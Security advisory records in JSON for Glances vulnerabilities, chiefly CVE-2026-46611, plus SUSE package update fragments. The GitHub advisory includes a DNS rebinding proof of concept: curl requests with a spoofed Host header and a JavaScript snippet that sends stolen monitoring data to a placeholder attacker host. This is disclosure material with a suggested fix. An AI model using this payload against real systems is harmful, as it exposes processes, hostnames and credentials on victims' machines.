{
  "affected": [
    {
      "affectedData": [
        {
          "product": "glances",
          "vendor": "nicolargo",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 4.5.5"
            }
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        }
      ],
      "source": "security-advisories@github.com"
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  ],
  "cveTags": [],
  "descriptions": [
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      "lang": "en",
      "value": "Glances is an open-source system cross-platform monitoring tool. Prior to 4.5.5, the Glances XML-RPC server (glances -s, implemented in glances/server.py) does not validate the HTTP Host header, leaving it vulnerable to DNS rebinding attacks. An attacker can exploit DNS rebinding to exfiltrate the full system monitoring dataset from a victim\u0027s browser. This vulnerability is fixed in 4.5.5."
    }
  ],
  "id": "CVE-2026-46611",
  "lastModified": "2026-06-26T04:17:43.260",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "HIGH",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 5.3,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "NONE",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "REQUIRED",
          "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N",
          "version": "3.1"
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        "exploitabilityScore": 1.6,
        "impactScore": 3.6,
        "source": "security-advisories@github.com",
        "type": "Secondary"
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          "role": "CISA Coordinator",
          "timestamp": "2026-06-26T02:14:18.408132Z",
          "version": "2.0.3"
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  "published": "2026-06-25T19:16:37.800",
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      "url": "https://github.com/nicolargo/glances/releases/tag/v4.5.5"
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          "value": "CWE-346"
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{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "glances"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.5.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-46611"
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  "database_specific": {
    "cwe_ids": [
      "CWE-346",
      "CWE-350"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-22T21:31:44Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nThe Glances XML-RPC server (`glances -s`, implemented in `glances/server.py`) does not validate the HTTP `Host` header, leaving it vulnerable to DNS rebinding attacks.  CVE-2026-32632 (patched in 4.5.2) added `TrustedHostMiddleware` to the REST/WebUI server; the MCP server has had equivalent protection since 4.5.1. The XML-RPC server received neither fix and has no `allowed-hosts` configuration key.  Combined with the unrestricted `Access-Control-Allow-Origin: *` header (see companion advisory for CVE-2026-33533 and its incomplete fix), an attacker can exploit DNS rebinding to exfiltrate the full system monitoring dataset from a victim\u0027s browser.\n\n---\n\n### Details\n\n**Affected component:** `glances/server.py` \u2014 `GlancesXMLRPCHandler` / `GlancesXMLRPCServer`\n\n**Direct URL (commit 04579778e733d705898a169e049dc84772c852da):**\n- https://github.com/nicolargo/glances/blob/04579778e733d705898a169e049dc84772c852da/glances/server.py\n\nContrast \u2014 patched backends:\n- https://github.com/nicolargo/glances/blob/04579778e733d705898a169e049dc84772c852da/glances/outputs/glances_restful_api.py\n- https://github.com/nicolargo/glances/blob/04579778e733d705898a169e049dc84772c852da/glances/outputs/glances_mcp.py\n\nThe `GlancesXMLRPCHandler` class inherits from Python\u0027s `xmlrpc.server.SimpleXMLRPCRequestHandler` and does not override `parse_request()` to inspect or validate the `Host` header.\n\nContrast this with the two other Glances server backends, both of which received host-validation hardening:\n\n**REST / WebUI server** (`glances/outputs/glances_restful_api.py`) \u2014 patched in 4.5.2:\n\n```python\n# glances_restful_api.py\nif self.webui_allowed_hosts:\n    self._app.add_middleware(\n        TrustedHostMiddleware,\n        allowed_hosts=self.webui_allowed_hosts,\n    )\n```\n\n**MCP server** (`glances/outputs/glances_mcp.py`) \u2014 protected since 4.5.1:\n\n```python\n# glances_mcp.py\nTransportSecuritySettings(\n    allowed_hosts=self.mcp_allowed_hosts,\n    ...\n)\n```\n\n**XML-RPC server** (`glances/server.py`) \u2014 no equivalent exists:\n\n```python\nclass GlancesXMLRPCHandler(SimpleXMLRPCRequestHandler, GlancesAPI):\n    # No Host header check; any Host value is accepted\n    rpc_paths = (\u0027/RPC2\u0027,)\n    ...\n```\n\nThere is no `xmlrpc_allowed_hosts` (or equivalent) configuration key in `glances.conf`, and the server ignores the `Host` header on every incoming request.\n\n**Confirmed on:** x86_64 Linux, Python 3.13, Glances 4.5.5_dev1 (commit 04579778e733d705898a169e049dc84772c852da).\n\nTest results:\n\n| Server type | Host header          | HTTP status | Data returned |\n|-------------|----------------------|-------------|---------------|\n| XML-RPC     | `attacker.example.com` | 200 OK    | Yes \u2014 VULNERABLE |\n| XML-RPC     | `127.0.0.1:61209`    | 200 OK      | Yes (baseline)   |\n| REST API    | `attacker.example.com` | 400 Bad Request | No \u2014 patched |\n\n---\n\n### PoC\n\n**Attack overview**\n\nDNS rebinding breaks the browser Same-Origin Policy by making `attacker.example.com` temporarily resolve to the target\u0027s IP address (e.g. `127.0.0.1`).  From that point the victim\u0027s browser treats the attacker\u0027s page as same-origin with `http://attacker.example.com:61209/RPC2`, forwarding the attacker-controlled `Host` header to the local Glances XML-RPC server, which accepts it without validation.\n\n**Special configuration required**\n\nNo special `glances.conf` settings are needed.  The vulnerability is present in a default Glances XML-RPC server start (`glances -s`).  For the comparison test (Step 3) the REST server must also be started; that step requires Glances to be installed with web dependencies (`pip install \"glances[web]\"`).\n\n---\n\n**Step 1 \u2014 Start the Glances XML-RPC server**\n\n```bash\nglances -s -p 61209\n```\n\n**Step 2 \u2014 Confirm the server accepts an arbitrary Host header**\n\n```bash\ncurl -s -D - -X POST \"http://127.0.0.1:61209/RPC2\" \\\n     -H \"Host: attacker.example.com\" \\\n     -H \"Content-Type: text/plain\" \\\n     -d \u0027\u003c?xml version=\"1.0\"?\u003e\n         \u003cmethodCall\u003e\u003cmethodName\u003egetAllPlugins\u003c/methodName\u003e\u003c/methodCall\u003e\u0027\n```\n\nExpected result (secure): `HTTP/1.0 400 Bad Request`\nActual result: `HTTP/1.0 200 OK` with full XML-RPC response body.\n\n**Step 3 \u2014 Confirm the REST API is patched (comparison)**\n\n```bash\n# Start REST server with the same machine as allowed host:\nglances -w -p 61210 --webui-port 61210\n\ncurl -s -o /dev/null -w \"%{http_code}\\n\" \\\n     \"http://127.0.0.1:61210/api/4/status\" \\\n     -H \"Host: attacker.example.com\"\n# Returns: 400   (TrustedHostMiddleware rejects the spoofed Host)\n```\n\n**Step 4 \u2014 Full DNS rebinding exploitation (real-world path)**\n\n1. Attacker registers `attacker.example.com` with a low-TTL (1 second) DNS record initially pointing to their own server IP.\n2. Attacker serves the following page from `http://attacker.example.com`:\n\n```html\n\u003cscript\u003e\nasync function exfil() {\n  const payload = `\u003c?xml version=\"1.0\"?\u003e\n    \u003cmethodCall\u003e\u003cmethodName\u003egetAll\u003c/methodName\u003e\u003c/methodCall\u003e`;\n  try {\n    const r = await fetch(\u0027http://attacker.example.com:61209/RPC2\u0027, {\n      method:  \u0027POST\u0027,\n      headers: { \u0027Content-Type\u0027: \u0027text/plain\u0027 },\n      body:    payload,\n    });\n    const data = await r.text();\n    // data contains: hostname, OS, all processes with cmd-lines, network, disk\n    await fetch(\u0027https://collect.attacker.example.com/?d=\u0027 + btoa(data));\n  } catch (_) {}\n}\n\n// Wait for TTL to expire and DNS to rebind to 127.0.0.1, then call exfil()\nsetTimeout(exfil, 5000);\n\u003c/script\u003e\n```\n\n3. Victim visits `http://attacker.example.com` in their browser.\n4. After TTL expiry, the attacker\u0027s DNS server responds with `127.0.0.1`.\n5. The browser\u0027s `fetch()` call is sent to `127.0.0.1:61209` with `Host: attacker.example.com`; the XML-RPC server accepts it.\n6. The `Access-Control-Allow-Origin: *` header (see companion advisory) allows the browser to read the response body.\n7. The attacker receives the complete system monitoring snapshot.\n\nTools that simplify DNS rebinding for research/testing include:\n- [Singularity](https://github.com/nccgroup/singularity)\n- [rbndr.us](https://rbndr.us)\n\n**Step 5 \u2014 Confirm absence of Host check in source**\n\n```python\nimport sys, inspect\nsys.path.insert(0, \u0027/path/to/glances\u0027)   # adjust to local clone\nimport glances.server as s\n\nsrc = inspect.getsource(s.GlancesXMLRPCHandler)\nprint(\u0027Host check present:\u0027, \u0027allowed_hosts\u0027 in src or \u0027Host\u0027 in src)\n# Host check present: False\n```\n\n---\n\n### Impact\n\n**Vulnerability type:** Insufficient Verification of Data Authenticity / DNS Rebinding (CWE-350)\n\n**Who is impacted:** Any user whose browser can reach a Glances XML-RPC server and who can be lured to visit an attacker controlled web page.  This includes deployments where:\n\n- Glances is bound to `127.0.0.1` (loopback) \u2014 DNS rebinding bypasses the loopback restriction.\n- Glances is bound to a LAN IP \u2014 any browser on that LAN is at risk.\n- Glances is exposed on a public IP \u2014 any browser on the internet is at risk.\n\n**Data exposed through the XML-RPC API** includes: hostname, OS and kernel version, full process list with command-line arguments (frequently containing API keys, database passwords, and access tokens passed as environment variables or CLI flags), CPU/memory/disk/network statistics, open file descriptors, listening ports, and Docker/Kubernetes container metadata.\n\n**Impact:**\n- **Confidentiality:** High \u2014 complete system monitoring data readable remotely without credentials.\n- **Integrity:** None \u2014 read-only XML-RPC API.\n- **Availability:** None \u2014 no denial-of-service component.\n\nThe attack is amplified by the companion CORS wildcard issue (vuln03): without `Access-Control-Allow-Origin: *`, the browser would still block the response read.  Both issues must be fixed together for effective remediation.\n\n---\n\n### Suggested Fix\n\n**Option 1 \u2014 Add Host validation to the XML-RPC handler (preferred)**\n\nAdd a `webui_allowed_hosts` (or new `xmlrpc_allowed_hosts`) configuration key, and validate the `Host` header in `GlancesXMLRPCHandler`:\n\n```python\n# server.py\nclass GlancesXMLRPCHandler(SimpleXMLRPCRequestHandler, GlancesAPI):\n\n    allowed_hosts: list[str] = []   # populated from config\n\n    def parse_request(self) -\u003e bool:\n        if not super().parse_request():\n            return False\n        if self.allowed_hosts:\n            host = self.headers.get(\u0027Host\u0027, \u0027\u0027).split(\u0027:\u0027)[0]\n            if host not in self.allowed_hosts:\n                self.send_error(400, \u0027Bad Request: invalid Host header\u0027)\n                return False\n        return True\n```\n\nPopulate `allowed_hosts` from the existing `webui_allowed_hosts` config key (already used by the REST server), so operators have a single knob.\n\n**Option 2 \u2014 Deprecate and remove the XML-RPC server**\n\nThe XML-RPC server is a legacy interface.  The REST API (`glances -w`) provides a superset of functionality, is actively maintained, and has all current security controls.  Deprecating the XML-RPC server in the next major release and directing users to the REST API would eliminate this attack surface entirely.\n\n---\n\n### Responsible Disclosure\nThe AFINE Team is committed to responsible / coordinated disclosure.  The AFINE Team will not publish details of this vulnerability or release exploit code publicly until a fix has been released, or 90 days have elapsed from the date of this report, whichever comes first. \n---\n\n### Credits\n\nThis issue was identified by Micha\u0142 Majchrowicz and Marcin Wyczechowski, members of the AFINE Team.\n\n---",
  "id": "GHSA-w856-8p3r-p338",
  "modified": "2026-06-22T21:31:44Z",
  "published": "2026-06-22T21:31:44Z",
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    {
      "type": "WEB",
      "url": "https://github.com/nicolargo/glances/security/advisories/GHSA-w856-8p3r-p338"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nicolargo/glances"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nicolargo/glances/releases/tag/v4.5.5"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Glances: XML-RPC Server Missing Host Header Validation Enables DNS Rebinding Attack"
}

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          "summary": "SUSE Bug 1268855 for CVE-2026-46608",
          "url": "https://bugzilla.suse.com/1268855"
        }
      ],
      "remediations": [
        {
          "category": "vendor_fix",
          "details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n",
          "product_ids": [
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            "openSUSE Tumbleweed:glances-common-4.5.5-1.1.s390x",
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            "openSUSE Tumbleweed:python311-Glances-4.5.5-1.1.ppc64le",
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            "openSUSE Tumbleweed:python313-Glances-4.5.5-1.1.aarch64",
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            "openSUSE Tumbleweed:python313-Glances-4.5.5-1.1.s390x",
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            "openSUSE Tumbleweed:python314-Glances-4.5.5-1.1.aarch64",
            "openSUSE Tumbleweed:python314-Glances-4.5.5-1.1.ppc64le",
            "openSUSE Tumbleweed:python314-Glances-4.5.5-1.1.s390x",
            "openSUSE Tumbleweed:python314-Glances-4.5.5-1.1.x86_64"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 7.4,
            "baseSeverity": "HIGH",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N",
            "version": "3.1"
          },
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            "openSUSE Tumbleweed:python311-Glances-4.5.5-1.1.s390x",
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            "openSUSE Tumbleweed:python313-Glances-4.5.5-1.1.aarch64",
            "openSUSE Tumbleweed:python313-Glances-4.5.5-1.1.ppc64le",
            "openSUSE Tumbleweed:python313-Glances-4.5.5-1.1.s390x",
            "openSUSE Tumbleweed:python313-Glances-4.5.5-1.1.x86_64",
            "openSUSE Tumbleweed:python314-Glances-4.5.5-1.1.aarch64",
            "openSUSE Tumbleweed:python314-Glances-4.5.5-1.1.ppc64le",
            "openSUSE Tumbleweed:python314-Glances-4.5.5-1.1.s390x",
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          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "date": "2026-06-25T00:00:00Z",
          "details": "important"
        }
      ],
      "title": "CVE-2026-46608"
    },
    {
      "cve": "CVE-2026-46611",
      "ids": [
        {
          "system_name": "SUSE CVE Page",
          "text": "https://www.suse.com/security/cve/CVE-2026-46611"
        }
      ],
      "notes": [
        {
          "category": "general",
          "text": "Glances is an open-source system cross-platform monitoring tool. Prior to 4.5.5, the Glances XML-RPC server (glances -s, implemented in glances/server.py) does not validate the HTTP Host header, leaving it vulnerable to DNS rebinding attacks. An attacker can exploit DNS rebinding to exfiltrate the full system monitoring dataset from a victim\u0027s browser. This vulnerability is fixed in 4.5.5.",
          "title": "CVE description"
        }
      ],
      "product_status": {
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          "openSUSE Tumbleweed:python311-Glances-4.5.5-1.1.s390x",
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          "openSUSE Tumbleweed:python314-Glances-4.5.5-1.1.s390x",
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          "category": "external",
          "summary": "CVE-2026-46611",
          "url": "https://www.suse.com/security/cve/CVE-2026-46611"
        },
        {
          "category": "external",
          "summary": "SUSE Bug 1268856 for CVE-2026-46611",
          "url": "https://bugzilla.suse.com/1268856"
        }
      ],
      "remediations": [
        {
          "category": "vendor_fix",
          "details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n",
          "product_ids": [
            "openSUSE Tumbleweed:glances-common-4.5.5-1.1.aarch64",
            "openSUSE Tumbleweed:glances-common-4.5.5-1.1.ppc64le",
            "openSUSE Tumbleweed:glances-common-4.5.5-1.1.s390x",
            "openSUSE Tumbleweed:glances-common-4.5.5-1.1.x86_64",
            "openSUSE Tumbleweed:python311-Glances-4.5.5-1.1.aarch64",
            "openSUSE Tumbleweed:python311-Glances-4.5.5-1.1.ppc64le",
            "openSUSE Tumbleweed:python311-Glances-4.5.5-1.1.s390x",
            "openSUSE Tumbleweed:python311-Glances-4.5.5-1.1.x86_64",
            "openSUSE Tumbleweed:python313-Glances-4.5.5-1.1.aarch64",
            "openSUSE Tumbleweed:python313-Glances-4.5.5-1.1.ppc64le",
            "openSUSE Tumbleweed:python313-Glances-4.5.5-1.1.s390x",
            "openSUSE Tumbleweed:python313-Glances-4.5.5-1.1.x86_64",
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            "openSUSE Tumbleweed:python314-Glances-4.5.5-1.1.ppc64le",
            "openSUSE Tumbleweed:python314-Glances-4.5.5-1.1.s390x",
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          ]
        }
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      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.3,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N",
            "version": "3.1"
          },
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            "openSUSE Tumbleweed:python311-Glances-4.5.5-1.1.s390x",
            "openSUSE Tumbleweed:python311-Glances-4.5.5-1.1.x86_64",
            "openSUSE Tumbleweed:python313-Glances-4.5.5-1.1.aarch64",
            "openSUSE Tumbleweed:python313-Glances-4.5.5-1.1.ppc64le",
            "openSUSE Tumbleweed:python313-Glances-4.5.5-1.1.s390x",
            "openSUSE Tumbleweed:python313-Glances-4.5.5-1.1.x86_64",
            "openSUSE Tumbleweed:python314-Glances-4.5.5-1.1.aarch64",
            "openSUSE Tumbleweed:python314-Glances-4.5.5-1.1.ppc64le",
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            "openSUSE Tumbleweed:python314-Glances-4.5.5-1.1.x86_64"
          ]
        }
      ],
      "threats": [
        {
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          "date": "2026-06-25T00:00:00Z",
          "details": "moderate"
        }
      ],
      "title": "CVE-2026-46611"
    },
    {
      "cve": "CVE-2026-53925",
      "ids": [
        {
          "system_name": "SUSE CVE Page",
          "text": "https://www.suse.com/security/cve/CVE-2026-53925"
        }
      ],
      "notes": [
        {
          "category": "general",
          "text": "Glances is an open-source system cross-platform monitoring tool. From 4.0.8 until 4.5.5, the secure_popen() function in glances/secure.py interprets \u003e (file redirection), | (pipe), and \u0026\u0026 (command chaining) operators in command strings. These operators are applied without any validation on the target file path, piped command, or chained command. When Application Monitoring Process (AMP) modules load their command or service_cmd configuration values from glances.conf, those values are passed directly to secure_popen() with no sanitization. This allows an attacker who can modify the Glances configuration file to write arbitrary content to arbitrary filesystem paths (via \u003e), chain arbitrary commands (via \u0026\u0026), or pipe command output to arbitrary programs (via |). This vulnerability is fixed in 4.5.5.",
          "title": "CVE description"
        }
      ],
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        ]
      },
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          "category": "external",
          "summary": "CVE-2026-53925",
          "url": "https://www.suse.com/security/cve/CVE-2026-53925"
        },
        {
          "category": "external",
          "summary": "SUSE Bug 1268984 for CVE-2026-53925",
          "url": "https://bugzilla.suse.com/1268984"
        }
      ],
      "remediations": [
        {
          "category": "vendor_fix",
          "details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n",
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      ],
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    }
  ]
}